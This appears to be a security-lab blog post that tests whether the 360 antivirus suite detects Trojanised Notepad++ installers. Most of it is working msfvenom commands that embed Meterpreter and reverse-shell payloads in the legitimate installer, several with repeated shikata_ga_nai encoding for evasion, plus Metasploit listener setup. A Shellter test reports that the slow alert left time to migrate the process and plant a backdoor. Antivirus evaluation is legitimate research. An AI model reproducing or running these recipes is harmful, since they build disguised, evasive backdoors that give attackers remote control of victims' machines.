HomeCybersecuritySecurity Labs

Antivirus tested: the 360 security suite.

# MSF

msfconsole

mp_npp (16 April 2022)

  • msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.158.139 LPORT=4444 -x npp.8.1.4.Installer.exe -f exe > mp_npp.exe

  • Listener:

    • use exploit/multi/handler
    • set payload windows/meterpreter/reverse_tcp
    • set LHOST 192.168.158.139
    • set LPORT 4444
    • run

Detection results. The quick scan produced no alert. A targeted folder scan flagged the file, and 360 detected it immediately when it ran.

VirusTotal reported 40/70 detections. Sample report

mp_rc4_npp_i15 (18 April 2022)

  • msfvenom -p windows/meterpreter/reverse_tcp_rc4 LHOST=192.168.158.139 LPORT=4444 -e x86/shikata_ga_nai -x npp.8.1.4.Installer.exe -i 15 -f exe > mp_rc4_npp_i15.exe

  • Listener:

    • use exploit/multi/handler
    • set payload windows/meterpreter/reverse_tcp_rc4
    • set LHOST 192.168.158.139
    • set LPORT 4444
    • run

Detection results. 360’s static scan did not flag this sample, but its runtime protection detected and removed it.

VirusTotal reported 38/70 detections. Sample report

sh_npp_i27 (18 April 2022)

  • msfvenom -p windows/shell_reverse_tcp LHOST=192.168.158.139 LPORT=4444 -e x86/shikata_ga_nai -x npp.8.1.4.Installer.exe -i 27 -f exe > sh_npp_i27.exe

  • Listener:

    • use exploit/multi/handler
    • set payload windows/shell_reverse_tcp_rc4
    • set LHOST 192.168.158.139
    • set LPORT 4444
    • run

Detection results. This sample also passed the static check and was detected during execution.

VirusTotal reported 35/69 detections. Sample report

# Shellter test

shellter_npp (16 April 2022)

  • I chose Shellter’s built-in Meterpreter_Reverse_TCP payload (option 1).

Detection results. The static check produced no alert. The runtime warning appeared after about a minute in this test. That gave me enough time to migrate the process and set up a backdoor before the alert appeared.

VirusTotal reported 31/70 detections. Sample report